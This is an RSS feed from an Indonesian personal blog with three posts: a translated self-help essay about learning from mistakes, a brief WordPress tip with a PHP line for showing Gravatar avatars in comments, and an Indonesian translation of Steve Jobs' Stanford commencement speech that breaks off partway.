<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>A Path to Remember &#187; Pelajaran Berguna</title>
	<atom:link href="http://ronaldkang.com/diary/category/pelajaran-berguna/feed/" rel="self" type="application/rss+xml" />
	<link>http://ronaldkang.com/diary</link>
	<description>Blessed are those who find wisdom, those who gain understanding, for she is more profitable than silver    and yields better returns than gold. She is more precious than rubies; nothing you desire can compare with her (Proverbs 3:13-15)</description>
	<lastBuildDate>Wed, 27 Apr 2011 01:46:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>Saya Dulu Berpikir Saya Salah, Ternyata Saya Salah</title>
		<link>http://ronaldkang.com/diary/saya-dulu-berpikir-saya-salah-ternyata-saya-salah/</link>
		<comments>http://ronaldkang.com/diary/saya-dulu-berpikir-saya-salah-ternyata-saya-salah/#comments</comments>
		<pubDate>Thu, 23 Sep 2010 17:30:07 +0000</pubDate>
		<dc:creator>Ronald Kang</dc:creator>
				<category><![CDATA[featured]]></category>
		<category><![CDATA[Interesting]]></category>
		<category><![CDATA[Pelajaran Berguna]]></category>
		<category><![CDATA[asumsi]]></category>
		<category><![CDATA[bodoh]]></category>
		<category><![CDATA[emosi]]></category>
		<category><![CDATA[kehidupan]]></category>
		<category><![CDATA[KONSEKUENSI]]></category>
		<category><![CDATA[MENUNDA]]></category>
		<category><![CDATA[sadar]]></category>
		<category><![CDATA[SALAH]]></category>
		<category><![CDATA[takut]]></category>

		<guid isPermaLink="false">http://ronaldkang.com/diary/?p=141</guid>
		<description><![CDATA[Pernahkah kamu melakukan kesalahan? tentu saja kamu pernah. Kita semua pernah. H.L. Wayland (1830-1898) menulis, &#34;Satu-satunya orang yang tidak pernah melakukan kesalahan ialah orang mati. Saya melihat seseorang minggu lalu tidak pernah melakukan kesalahan selama 400 tahun. Dia adalah mumi di department Mesir dalam museum Inggris.&#34; Ya, kita semua pernah melakukan kesalahan, tapi apakah kamu [...]]]></description>
			<content:encoded><![CDATA[<p>Pernahkah kamu melakukan kesalahan? tentu saja kamu pernah. Kita semua pernah. H.L. Wayland (1830-1898) menulis, &quot;Satu-satunya orang yang tidak pernah melakukan kesalahan ialah orang mati. Saya melihat seseorang minggu lalu tidak pernah melakukan kesalahan selama 400 tahun. Dia adalah mumi di department Mesir dalam museum Inggris.&quot;</p>
<p><span id="more-141"></span></p>
<p>Ya, kita semua pernah melakukan kesalahan, tapi apakah kamu sadar perbedaan antara kesalahan yang kamu lakukan dan kesalahan yang mereka lakukan? Lihat, ketika kita melakukan kesalahan, biasanya kita berpikir itu adalah suatu kesalahan yang &quot;tak dapat dihindari&quot; atau kesalahan yang &quot;kecil&quot;, tetapi ketika seseorang melakukan hal yang sama, kita biasanya berpikir itu adalah kesalahan yang &quot;fatal&quot; atau &quot;bodoh&quot;. Bukankah itu aneh? untuk benar-benar mengerti maksud ini dan menghindari kita untuk melakukannya, mari kita lihat beberapa kesalahan umum yang sering kita lakukan.</p>
<ol>
<li><strong>MENGHAKIMI ORANG LAIN</strong>. Ketika kita mengatakan kesalahan seseorang &quot;bodoh&quot;, kita menghakimi mereka. Begitulah, kita sudah melabel mereka. Dan label tersebut menyembunyikan keseluruhan yang sebenarnya. Hal ini membuat kita seakan-akan buta akan hal-hal baik yang dilakukannya. Perbuatan ini juga dilandasi emosi, membawa perhatian kita dari pikiran yang rasional. Contohnya, coba Anda lihat 3 kalimat ini: Dia adalah seorang fans. He is an enthusiast. He is a zealot. He is a fanatic. Meskipun kalimat pertama terdengar positif, dua sisanya, terutama yang terakhir, dipengaruhi oleh emosi dan mewakili rasa curiga, takut, dan kemarahan.</li>
<li><strong>TIDAK MEMPERDULIKAN KESALAHAN KITA SENDIRI</strong>. Kesalahan terbesar yang bisa kita perbuat ialah mengabaikan kesalahan kita sendiri. Kesalahan seharusnya adalah pelajaran yang akan membuat kita belajar, dan ketika kita berhenti belajar, kita berhenti bertumbuh. Confucius mengajarkan, &quot;Untuk melakukan kesalahan dan tidak memperbaikinya &#8211; itu adalah sebuah kesalahan.&quot; Dalam kata lain, jika Anda melakukan kesalahan besar dan tidak belajar apapun dari itu, itu adalah sebuah kesalahan. Tapi jika Anda salah melangkah dan belajar sesuatu, maka itu adalah pelajaran yang bernilai. Moralnya ialah, jika kita berhenti menyerang kesalahan orang lain dan memulai mengakui kesalahan kita, kita akan belajar sesuatu yang besar.</li>
<li><strong>TAKUT BERBUAT KESALAHAN</strong>. Beberapa orang takut untuk mengambil kesempatan. Mereka takut jika mereka melakukan kesalahan mereka akan ditertawakan. Ketakutan melakukan kesalahan adalah kesalahan yang serius karena itu menghambat progress kita. Tidak hanya itu menghentikan kita dari bertumbuh, itu juga menghentikan kita dari menemukan petualangan yang sangat menarik dalam hidup ini. Setiap tindakan dalam suatu momen yang kita lewatkan karena kita tidak mau melakukan kesalahan dan terlihat bodoh, orang lain berkali-kali melakukan kesalahan, dan belajar dari hal tersebut, dan terlihat pintar. Kita mengklaim bahwa kita mau berhasil, tapi bagaimana itu mungkin terjadi tanpa melakukan kesalahan dalam perjalanannya? Hari ini, izinkan diri Anda melakukan kesalahan, ketika kamu melakukannya, kamu pun memberikan kesempatan pada dirimu untuk berhasil.</li>
<li><strong>BEGITULAH HIDUP</strong>. Beberapa orang berkata, &quot;begitulah hidup, terkadang hal-hal tersebut memang terjadi.&quot; Dalam kata lain, &quot;Saya tak dapat menghindari apa yang terjadi pada saya, itu memang akan terjadi.&quot; Tipe berpikir seperti ini membuat Anda terlihat seperti menjadi korban yang tak berdaya. Tapi orang bijak berkata, &quot;itu bukan hal-hal biasa dalam hidup yang terjadi; itu adalah KONSEKUENSI yang terjadi. Itu adalah, hasil dari pilihan yang saya ambil yang membuat itu terjadi.&quot; Kenyataan ini membuat kita lebih kuat, jika kita tidak menyukai apa yang terjadi pada kita, yang perlu kita lakukan ialah mengubah apa yang kita pilih untuk dilakukan.</li>
<li><strong>LUPA BAHWA SEGALA SESUATU TERUS BERUBAH</strong>. Mengapa kita lupa bahwa hidup itu merupakan sinonim dari perubahan? Akan sangat membantu jika kita terus menyadari fakta ini. Ketika kita menemukan diri kita berada dalam kondisi yang tidak nyaman, mengingat bahwa &quot;hal ini pun akan berlalu&quot; akan memberi kita keberanian untuk melangkah. Dan ketika kita puas dengan keadaan kita sekarang, ingat bahwa segala hal dapat berubah menjadi buruk membuat kita selalu waspada untuk mempersiapkan diri untuk yang terburuk. Walau bagaimanapun, tsunami, banjir, kebakaran, gempa bumi, angin topan, dan berbagai bencana lainnya dapat datang kapan saja.</li>
<li><strong>LUPA BAHWA KITA SEMUA AKAN MATI</strong>. Tentu saja, kita tidak benar-benar lupa bahwa kita semua akan mati; kita hanya mengabaikannya. Tapi jika kita terus menyadari akan lemah dan rapuhnya hidup ini, kita akan bertindak berbeda. Contohnya, dalam hal kita bersikap dengan orang lain, bagaimana mungkin kamu akan marah, menyimpan dendam, atau membalas dendam jika Anda sadar bahwa mereka ada dalam peti mati? Tidakkah Anda merasa iba? Bagaimana mungkin Anda menunda-nunda jika Anda sadar hidup ini seperti nyala api yang kapan saja bisa ditiup angin? Apakah Anda akan hidup sebagai seorang pengecut, mengabaikan pemikiran akan kematian, atau menghadapinya dan hidup dengan berani? Jika Anda diberikan es krim yang enak, tidakkah Anda mau mencobanya sebelum itu meleleh? Begitupun kematian mengingatkan kita untuk menghargai kehidupan selama kita masih memilikinya dan menikmati segala keindahannya sebelum itu &quot;meleleh.&quot;</li>
<li><strong>TAKUT UNTUK MENGAKUI BAHWA KITA SALAH</strong>. Selama kita takut untuk mengakui bahwa kita salah, kita berhenti belajar. Dan dengan menolak untuk mengakui kesalahan kita, kita terlihat seperti orang bodoh. Tetapi kita kita mengakuinya dan belajar dari itu, kita membuktikan bahwa kita bijaksana. Berikut ucapan sederhana yang sangat berguna dari Arthur Guiterman (1871-1943): &quot;Mengakui kesalahan membersihkan kekurangan dan membuktikan bahwa Anda lebih bijaksana dari sebelumnya.&quot;</li>
<li><strong>MERESPONI KESALAHAN ORANG LAIN DENGAN TIDAK BENAR</strong>. Daripada menunjuk kesalahan mereka, tunjukkanlah bagaimana orang tersebut dapat memperbaikinya. Apakah Anda mau menjadi orang yang benar namun tidak mempunyai teman atau ringan tangan dan dikelilingi oleh teman? Jangan naik pitam dengan kesalahan orang lain. Berikan mereka keuntungan dalam kesulitan tersebut; bagaimanapun, mereka hanya melakukan yang terbaik dalam suatu kondisi. Selain itu, melakukan kesalahan adalah bagian dari kebiasaan kita. Bagaimana Anda bisa marah karena seseorang berlaku seperti manusia? Terlebih lagi, kesalahan orang lain tidak lebih dibandingan kesempatan bagi kita untuk belajar memaafkan, seperti Paus Alexander (1688-1744) menulis, &quot;Untuk salah adalah manusiawi; untuk memaafkan, Ilahi.&quot;</li>
<li><strong>TERGESA-GESA</strong>. Jangan mengatakan atau melakukan sesuatu sebelum Anda memikirkannya. Sengatan kata-kata yang menyakitkan tetap tidak hilang meskipun sudah dimaafkan. Hindari bersikap dalam asumsi, pendapat, atau keyakinan yang belum dikonfirmasi. Jadilah bijaksana daripada impulsif, dan jika Anda ingin mengambil jalan aman, jangan mengambil kesimpulan dari asumsi.</li>
<li><strong>ANDA DI SINI UNTUK MELAYANI HIDUP ORANG LAIN. BUKAN SEBALIKNYA</strong>. Hidup itu sendiri adalah ekspresi yang tak terekspresikan. Kita semua adalah nada dalam simfoni kehidupan. Kita ada di sini untuk mengalami, menikmati, dan berada di situ. Berharap bahwa dunia ini sesuai dengan keinginan kita daripada kita beradaptasi dengan dunia hanya membawa kita dalam frustasi, penolakan, dan ketidakbahagiaan.</li>
<li><strong>TIDAK MEMPERHATIKAN KATA YANG KITA GUNAKAN</strong>. Kita membuat program komputer dengan menuliskan berbagai kode, tetapi manusia memprogram dirinya sendiri dengan kata-kata yang mereka pikirkan atau katakan. Berpikir atau berkata-kata tentang kemenangan dan Anda akan menjadi seorang pemenang. Terus-menerus berpikir dan berkata mengenai kesalahan maka kata-kata Anda akan menjadi sebuah nubuat yang akan Anda wujudkan, menyeret Anda dalam kehancuran. Perhatikan apa yang Anda katakan pada diri Anda sendiri dan orang lain!</li>
<li><strong>TIDAK SEJALAN DENGAN SIAPAPUN</strong>. Ketika kita memilih untuk melawan daripada bekerja sama dengan orang lain, kita menghilangkan kekuatan dan kebahagiaan kita. Jika kita tidak dapat sejalan dengan siapapun, bukan berarti ada sesuatu yang salah dengan mereka, tapi karena kita belum menguasai seni yang amat sangat penting dalam menjalin hubungan. Jika Anda memiliki masalah dalam hal ini, jangan buang-buang waktu; pergilah ke perpustakaan atau toko buku dan dapatkan buku bagaimana cara bergaul dengan orang lain.</li>
<li><strong>MENUNDA TINDAKAN</strong>. Beberapa orang membatalkan rencana mereka karena takut akan eksalahan. Menunggu momen yang tepat untuk memulai project yang baru tidaklah masuk akal karena tidak akan pernah ada momen yang &quot;tepat&quot;. Yang ada hanya SEKARANG. Apakah kita akan menggunakannya atau melewatkannya. Jerry Gillies mengambil poin yang bagus: &quot;Saya tidak membuat keputusan yang salah, dan kembali dan melakukannya dengan cara yang berbeda, dan tetap menghabiskan waktu yang lebih sedikit dibandingan mereka yang menunda keputusannya yang awal.&quot; Jadi, jangan menunda-nunda lagi; bertindaklah sekarang!</li>
<li><strong>MENYERAH TERLALU CEPAT</strong>. Petani menyadari bahwa membutuhkan waktu dan kerja keras sebelum seseorang dapat memanen hasil pertanian. Tetapi penduduk kota yang terbiasa dengan komunikasi wireless yang instant, kereta cepat, dan komputer, jauh lebih tidak sabar. Mereka menginginkan segala hal SEKARANG JUGA. Jika mereka tidak meraih harapan mereka dengan cepat, mereka meninggalkannya. Membatalkan mimpi akan menghancurkan landasannya. Berapa banyak dokter, engineer, pengarang, seniman, dan pedagang tidak pernah ada hanya karena murid-murid yang menyerah terlalu cepat? Kurangnya kegigihan dan hubungannya dengan kegagalan seperti apa yang dikatakan oleh Michael Larsen, &quot;Kegagalan adalah jalur dari kurangnya kegigihan.&quot;</li>
<li><strong>TIDAK MERENCANAKAN</strong>. Bagaimana hidup bisa berjalan sesuai rencana, kalau kita tidak membuat rencana terlebih dahulu? Gagal membuat rencana adalah merencanakan untuk gagal. Jadi, jangan memulai setiap hari berpikir apa yang akan terjadi. Ketika Anda memiliki rencana dan melakukannya, Anda dapat memperkirakan masa depan Anda yang berhasil!</li>
<li><strong>GAGAL UNTUK MENYADARI NILAI DARI SEBUAH KESALAHAN</strong>. Meskipun kita mau menghindari kesalahan yang akan menahan langkah kita, jangan lewati nilai dan pelajaran dari kesalahan yang kita lakukan. Berikut adalah 2 contoh.
<p>Tom meminta Mary untuk menikahinya dan ia menolak. Setelah melewati masa kekecewaannya, Tom mencari kekasih baru, menemukan seseorang yang lebih baik dari Mary; Mereka menikah dan hidup bahagia selamanya.</p>
<p>Harry adalah contoh kedua. Dia marah di tempat kerjanya, dipecat, dan tidak dapat menemukan pekerjaan baru. Untuk bisa bertahan hidup, dia terpaksa menjalankan bisnis sendiri. Setelah beberapa bulan lewat, Harry bertumbuh semakin sukses, dan sekarang ia memiliki 25 orang anak buah yang bekerja untuknya.</p>
<p>Dua contoh ini menjelaskan mengapa Margueritte Harmon Bro berkata, &quot;Terkadang apa yang ingin kamu lakukan memang harus gagal supaya kamu tidak gagal.&quot; Henry Ford juga berkata, &quot;Kegagalan pun dapat berubah menjadi hal paling utama dalam sebuah pencapaian keberhasilan.&quot;</p>
</li>
<li><strong>GAGAL UNTUK BELAJAR DARI KESALAHAN ORANG LAIN</strong>. Orang bijak berkata: &quot;dari kesalahan orang lain, seorang bijak memperbaiki dirinya sendiri.&quot; (Publilius Syrus, 85-43 BC) dan Samuel Levenson berkata, &quot;Anda harus belajar dari kesalahan orang lain. Anda tidak mungkin bisa hidup cukup panjang untuk melakukan semua kesalahan sendiri.&quot;</li>
</ol>
<p><strong>SINOPSIS DARI APA YANG PERLU KITA TAHU MENGENAI KESALAHAN</strong></p>
<ul>
<li>Kesalahan adalah pengalaman yang kita butuhkan untuk menjadi lebih baik</li>
<li>Kesalahan tidak merusak hingga kita menolak untuk memperbaikinya</li>
<li>Kita bisa menyembunyikan kesalahan kita, tapi tidak dapat menghindar dari konsekuensinya</li>
<li>Jika Anda tidak memperbaiki kesalahan Anda, Anda sedang melakukan kesalahan berikutnya</li>
<li>Kesalahan adalah pintu dari sebuah penemuan</li>
<li>Jika Anda tidak melakukan kesalahan, Anda tidak mengambil kesempatan yang cukup banyak</li>
<li>Anda tidak akan berbuat kesalahan jika Anda selalu melakukan yang terbaik</li>
<li>Kesalahan masa lalu adalah hikmat dan kesuksesan di masa depan (Dale Turner)</li>
<li>Hidup akan terasa hambar tanpa kesalahan (Oscar Wilde)</li>
</ul>
<p>Jika kamu punya masalah dengan sebuah kesalahan, mungkin itu karena Anda tidak berbuat terlalu banyak kesalahan. Sebuah kesalahan yang serius ialah saat ini banyak dari kita membatasi potensi kita hanya karena ketakutan kita dalam melakukan kesalahan. Mari jalani hari ini untuk dengan berani dan berulang kali melangkah keluar dari zona nyaman kita, ambil resiko yang lebih, belajar dari kesalahan kita, ambil keuntungan dari penghargaannya, dan nikmati betapa menariknya kehidupan ini dengan berbagai petualangan yang ditawarkannya.</p>
<p>Written by Chuck Gallozzi and translated by Ronald Kang</p>
]]></content:encoded>
			<wfw:commentRss>http://ronaldkang.com/diary/saya-dulu-berpikir-saya-salah-ternyata-saya-salah/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cara Pasang Avatar di WordPress Comment</title>
		<link>http://ronaldkang.com/diary/cara-pasang-avatar-di-wordpress-comment/</link>
		<comments>http://ronaldkang.com/diary/cara-pasang-avatar-di-wordpress-comment/#comments</comments>
		<pubDate>Fri, 03 Apr 2009 03:16:23 +0000</pubDate>
		<dc:creator>Ronald Kang</dc:creator>
				<category><![CDATA[Informasi Menarik]]></category>
		<category><![CDATA[Pelajaran Berguna]]></category>
		<category><![CDATA[avatar]]></category>
		<category><![CDATA[avatar blog]]></category>
		<category><![CDATA[comment avatar]]></category>
		<category><![CDATA[gravatar]]></category>
		<category><![CDATA[wordpress avatar]]></category>

		<guid isPermaLink="false">http://ronaldkang.com/diary/?p=78</guid>
		<description><![CDATA[Kalau kalian lihat di beberapa blog sekarang ini, sudah ada avatar tiap orang ditampilkan di comment mereka. Gimana caranya? Sebenarnya itu fitur dari wordpress yang baru. WordPress sudah memfasilitasi penampilan avatar secara otomatis di bagian comment, tapi perlu ubah sedikit bagian code di theme nya. Ikuti step2 berikut ini: di bagian admin, masuk ke menu [...]]]></description>
			<content:encoded><![CDATA[<p>Kalau kalian lihat di beberapa blog sekarang ini, sudah ada avatar tiap orang ditampilkan di comment mereka. Gimana caranya? Sebenarnya itu fitur dari wordpress yang baru. WordPress sudah memfasilitasi penampilan avatar secara otomatis di bagian comment, tapi perlu ubah sedikit bagian code di theme nya.</p>
<p>Ikuti step2 berikut ini:</p>
<p><span id="more-78"></span></p>
<ol>
<li>di bagian admin, masuk ke menu Settings -&gt; Discussion</li>
<li>pilih show avatar, kemudian pilih jenis avatar yang Anda inginkan</li>
<li>setelah disave, masuk ke menu Appearance -&gt; Editor</li>
<li>edit comment.php dan selipkan code berikut di</li>
</ol>
<blockquote><p>&lt;?php if(function_exists(&#8216;get_avatar&#8217;)) { echo get_avatar($comment, &#8217;40&#8242;); } ?&gt;</p></blockquote>
<p>Silakan disave kemudian dicoba.  Avatar yang akan tampil ialah avatar yang dimasukkan pada gravatar.com. Selamat mencoba <img src='http://ronaldkang.com/diary/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://ronaldkang.com/diary/cara-pasang-avatar-di-wordpress-comment/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Steve Jobs &#8211; Stay Hungry, Stay Foolish</title>
		<link>http://ronaldkang.com/diary/steve-jobs-stay-hungry-stay-foolish/</link>
		<comments>http://ronaldkang.com/diary/steve-jobs-stay-hungry-stay-foolish/#comments</comments>
		<pubDate>Thu, 08 May 2008 16:14:43 +0000</pubDate>
		<dc:creator>Ronald Kang</dc:creator>
				<category><![CDATA[Pelajaran Berguna]]></category>
		<category><![CDATA[macintosh]]></category>
		<category><![CDATA[pidato]]></category>
		<category><![CDATA[pidato apple]]></category>
		<category><![CDATA[steve jobs]]></category>

		<guid isPermaLink="false">http://ronaldkang.com/diary/steve-jobs-stay-hungry-stay-foolish/</guid>
		<description><![CDATA[didapat dari mailing list: Pidato Steve Jobs di Acara Wisuda Stanford University Saya merasa bangga di tengah-tengah Anda sekarang, yang akan segera lulus dari salah satu universitas terbaik di dunia. Saya tidak pernah selesai kuliah. Sejujurnya, baru saat inilah saya merasakan suasana wisuda. Hari ini saya akan menyampaikan tiga cerita pengalaman hidup saya. Ya, tidak [...]]]></description>
			<content:encoded><![CDATA[<p>didapat dari mailing list:</p>
<p><strong>Pidato Steve Jobs di Acara Wisuda Stanford University</strong></p>
<p>Saya merasa bangga di tengah-tengah Anda sekarang, yang akan segera lulus dari salah satu universitas terbaik di dunia. Saya tidak pernah selesai kuliah.</p>
<p>Sejujurnya, baru saat inilah saya merasakan suasana wisuda. Hari ini saya akan menyampaikan tiga cerita pengalaman hidup saya. Ya, tidak perlu banyak. Cukup tiga.<br />
<span id="more-54"></span><br />
Cerita Pertama:<br />
Menghubungkan Titik-Titik</p>
<p>Saya drop out (DO) dari Reed College setelah semester pertama, namun saya tetap berkutat di situ sampai 18 bulan kemudian, sebelum betul-betul putus kuliah. Mengapa saya DO?</p>
<p>Kisahnya dimulai sebelum saya lahir. Ibu kandung saya adalah mahasiswi belia yang hamil karena &#8220;kecelakaan&#8221; dan memberikan saya kepada seseorang untuk diadopsi.</p>
<p>Dia bertekad bahwa saya harus diadopsi oleh keluarga sarjana, maka saya pun diperjanjikan untuk dipungut anak semenjak lahir oleh seorang pengacara dan istrinya. Sialnya, begitu saya lahir, tiba-tiba mereka berubah pikiran karena ingin bayi perempuan. Maka orang tua saya sekarang, yang ada di daftar urut berikutnya, mendapatkan telepon larut malam dari seseorang: &#8220;kami punya bayi laki-laki yang batal dipungut; apakah Anda berminat?</p>
<p>Mereka menjawab: &#8220;Tentu saja.&#8221; Ibu kandung saya lalu mengetahui bahwa ibu angkat saya tidak pernah lulus kuliah dan ayah angkat saya bahkan tidak tamat SMA. Dia menolak menandatangani perjanjian adopsi.</p>
<p>Sikapnya baru melunak beberapa bulan kemudian, setelah orang tua saya berjanji akan menyekolahkan saya sampai perguruan tinggi.</p>
<p>Dan, 17 tahun kemudian saya betul-betul kuliah. Namun, dengan naifnya saya memilih universitas yang hampir sama mahalnya dengan Stanford, sehingga seluruh tabungan orang tua saya- yang hanya pegawai rendahan- habis untuk biaya kuliah. Setelah enam bulan, saya tidak melihat manfaatnya. Saya tidak tahu apa yang harus saya lakukan dalam hidup saya dan bagaimana kuliah akan membantu saya menemukannya. Saya sudah menghabiskan seluruh tabungan yang dikumpulkan orang tua saya seumur hidup mereka. Maka, saya pun memutuskan berhenti kuliah, yakin bahwa itu yang terbaik. Saat itu rasanya menakutkan, namun sekarang saya menganggapnya sebagai keputusan terbaik yang pernah saya ambil.</p>
<p>Begitu DO, saya langsung berhenti mengambil kelas wajib yang tidak saya minati dan mulai mengikuti perkuliahan yang saya sukai.</p>
<p>Masa-masa itu tidak selalu menyenangka n. Saya tidak punya kamar kos sehingga nebeng tidur di lantai kamar teman-teman saya. Saya mengembalikan botol Coca-Cola agar dapat pengembalian 5 sen untuk membeli makanan.</p>
<p>Saya berjalan 7 mil melintasi kota setiap Minggu malam untuk mendapat makanan enak di biara Hare Krishna.<br />
Saya menikmatinya. Dan banyak yang saya temui saat itu karena mengikuti rasa ingin tahu dan intuisi, ternyata kemudian sangat berharga. Saya beri Anda satu contoh:</p>
<p>ReedCollege mungkin waktu itu adalah yang terbaik di AS dalam hal kaligrafi.</p>
<p>Di seluruh penjuru kampus, setiap poster, label, dan petunjuk ditulis tangan dengan sangat indahnya. Karena sudah DO, saya tidak harus mengikuti perkuliahan normal. Saya memutuskan mengikuti kelas kaligrafi guna mempelajarinya. Saya belajar jenis-jenis huruf serif dan san serif, membuat variasi spasi antar kombinasi kata dan kiat membuat tipografi yang hebat. Semua itu merupakan kombinasi cita rasa keindahan, sejarah dan seni yang tidak dapat ditangkap melalui sains. Sangat menakjubkan.</p>
<p>Saat itu sama sekali tidak terlihat manfaat kaligrafi bagi kehidupan saya. Namun sepuluh tahun kemudian, ketika kami mendisain komputer Macintosh yang pertama, ilmu itu sangat bermanfaat. Mac adalah komputer pertama yang bertipografi cantik. Seandainya saya tidak DO dan mengambil kelas kaligrafi, Mac tidak akan memiliki sedemikian banyak huruf yang beragam bentuk dan proporsinya. Dan karena Windows menjiplak Mac, maka tidak ada PC yang seperti itu. Andaikata saya tidak DO, saya tidak berkesempatan mengambil kelas kaligrafi, dan PC tidak memiliki tipografi yang indah.</p>
<p>Tentu saja, tidak mungkin merangkai cerita seperti itu sewaktu saya masih kuliah. Namun, sepuluh tahun kemudian segala sesuatunya menjadi gamblang.</p>
<p>Sekali lagi, Anda tidak akan dapat merangkai titik dengan melihat ke depan; Anda hanya bisa melakukannya dengan merenung ke belakang.</p>
<p>Jadi, Anda harus percaya bahwa titik-titik Anda bagaimana pun akan terangkai di masa mendatang. Anda harus percaya dengan intuisi, takdir, jalan hidup, karma Anda, atau istilah apa pun lainnya. Pendekatan ini efektif dan membuat banyak perbedaan dalam kehidupan saya.</p>
<p>Cerita Kedua<br />
Saya: Cinta dan Kehilangan.</p>
<p>Saya beruntung karena tahu apa yang saya sukai sejak masih muda.</p>
<p>Woz dan saya mengawali Apple di garasi orang tua saya ketika saya berumur 20 tahun. Kami bekerja keras dan dalam 10 tahun Apple berkembang dari hanya kami berdua menjadi perusahaan 2 milyar dolar dengan 4000 karyawan. Kami baru meluncurkan produk terbaik kami-Macintosh- satu tahun sebelumnya, dan saya baru menginjak usia 30. Dan saya dipecat.</p>
<p>Bagaimana mungkin Anda dipecat oleh perusahaan yang Anda dirikan? Yah, itulah yang terjadi. Seiring pertumbuhan Apple, kami merekrut orang yang saya pikir sangat berkompeten untuk menjalankan perusahaan bersama saya. Dalam satu tahun pertama,semua berjalan lancar. Namun, kemudian muncul perbedaan dalam visi kami mengenai masa depan dan kami sulit disatukan.</p>
<p>Komisaris ternyata berpihak padanya. Demikianlah, di usia 30 saya tertendang. Beritanya ada di mana-mana.</p>
<p>Apa yang menjadi fokus sepanjang masa dewasa saya, tiba-tiba sirna.</p>
<p>Sungguh menyakitkan.</p>
<p>Dalam beberapa bulan kemudian, saya tidak tahu apa yang harus saya lakukan. Saya merasa telah mengecewakan banyak wirausahawan generasi sebelumnya -saya gagal mengambil kesempatan. Saya bertemu dengan David Packard dan Bob Noyce dan meminta maaf atas keterpurukan saya. Saya menjadi tokoh publik yang gagal, dan bahkan berpikir untuk lari dari Silicon Valley.</p>
<p>Namun, sedikit demi sedikit semangat timbul kembali- saya masih menyukai pekerjaan saya. Apa yang terjadi di Apple sedikit pun tidak mengubah saya. Saya telah ditolak, namun saya tetap cinta. Maka, saya putuskan untuk mulai lagi dari awal.</p>
<p>Waktu itu saya tidak melihatnya, namun belakangan baru saya sadari bahwa dipecat dari Apple adalah kejadian terbaik yang menimpa saya. Beban berat sebagai orang sukses tergantikan oleh keleluasaan sebagai pemula, segala sesuatunya lebih tidak jelas. Hal itu mengantarkan saya pada periode paling kreatif dalam hidup saya.</p>
<p>Dalam lima tahun berikutnya, saya mendirikan perusahaan bernama NeXT, lalu Pixar, dan jatuh cinta dengan wanita istimewa yang kemudian menjadi istri saya. Pixar bertumbuh menjadi perusahaan yang menciptakan film animasi komputer pertama, Toy Story, dan sekarang merupakan studio animasi paling sukses di dunia.</p>
<p>Melalui rangkaian peristiwa yang menakjubkan, Apple membeli NeXT, dan saya kembali lagi ke Apple, dan teknologi yang kami kembangkan di NeXT menjadi jantung bagi kebangkitan kembali Apple. Dan, Laurene dan saya memiliki keluarga yang luar biasa.</p>
<p>Saya yakin takdir di atas tidak terjadi bila saya tidak dipecat dari Apple. Obatnya memang pahit, namun sebagai pasien saya memerlukannya.</p>
<p>Kadangkala kehidupan menimpakan batu ke kepala Anda. Jangan kehilangan kepercayaan. Saya yakin bahwa satu-satunya yang membuat saya terus berusaha adalah karena saya menyukai apa yang saya lakukan. Anda harus menemukan apa yang Anda sukai. Itu berlaku baik untuk pekerjaan maupun pasangan hidup Anda. Pekerjaan Anda akan menghabiskan sebagian besar hidup Anda, dan kepuasan sejati hanya dapat diraih dengan mengerjakan sesuatu yang hebat. Dan Anda hanya bisa hebat bila mengerjakan apa yang Anda sukai. Bila Anda belum menemukannya, teruslah mencari. Jangan menyerah. Hati Anda akan mengatakan bila Anda telah menemukannya. Sebagaimana halnya dengan hubungan hebat lainnya, semakin lama- semakin mesra Anda dengannya. Jadi, teruslah mencari sampai ketemu.</p>
<p>Jangan berhenti.</p>
<p>Cerita Ketiga<br />
Saya: Kematian</p>
<p>Ketika saya berumur 17, saya membaca ungkapan yang kurang lebih berbunyi: &#8220;Bila kamu menjalani hidup seolah-olah hari itu adalah hari terakhirmu, maka suatu hari kamu akan benar.&#8221; Ungkapan itu membekas dalam diri saya, dan semenjak saat itu, selama 33 tahun terakhir, saya selalu melihat ke cermin setiap pagi dan bertanya kepada diri sendiri: &#8220;Bila ini adalah hari terakhir saya, apakah saya tetap melakukan apa yang akan saya lakukan hari ini?&#8221; Bila jawabannya selalu &#8220;tidak&#8221; dalam beberapa hari berturut- turut, saya tahu saya harus berubah.</p>
<p>Mengingat bahwa saya akan segera mati adalah kiat penting yang saya temukan untuk membantu membuat keputusan besar. Karena hampir segala sesuatu-semua harapan eksternal, kebanggaan, takhut malu atau gagal- tidak lagi bermanfaat saat menghadapi kematian. Hanya yang hakiki yang tetap ada. Mengingat kematian adalah cara terbaik yang saya tahu untuk menghindari jebakan berpikir bahwa Anda akan kehilangan sesuatu. Anda tidak memiliki apa-apa. Sama sekali tidak ada alasan untuk tidak mengikuti kata hati Anda. Sekitar setahun yang lalu saya didiagnosis mengidap kanker. Saya menjalani scan pukul 7:30 pagi dan hasilnya jelas menunjukkan saya memiliki tumor pankreas. Saya bahkan tidak tahu apa itu pankreas.</p>
<p>Paradokter mengatakan kepada saya bahwa hampir pasti jenisnya adalah yang tidak dapat diobati. Harapan hidup saya tidak lebih dari 3-6 bulan. Dokter menyarankan saya pulang ke rumah dan membereskan segala sesuatunya, yang merupakan sinyal dokter agar saya bersiap mati. Artinya, Anda harus menyampaikan kepada anak Anda dalam beberapa menit segala hal yang Anda rencanakan dalam sepuluh tahun mendatang.</p>
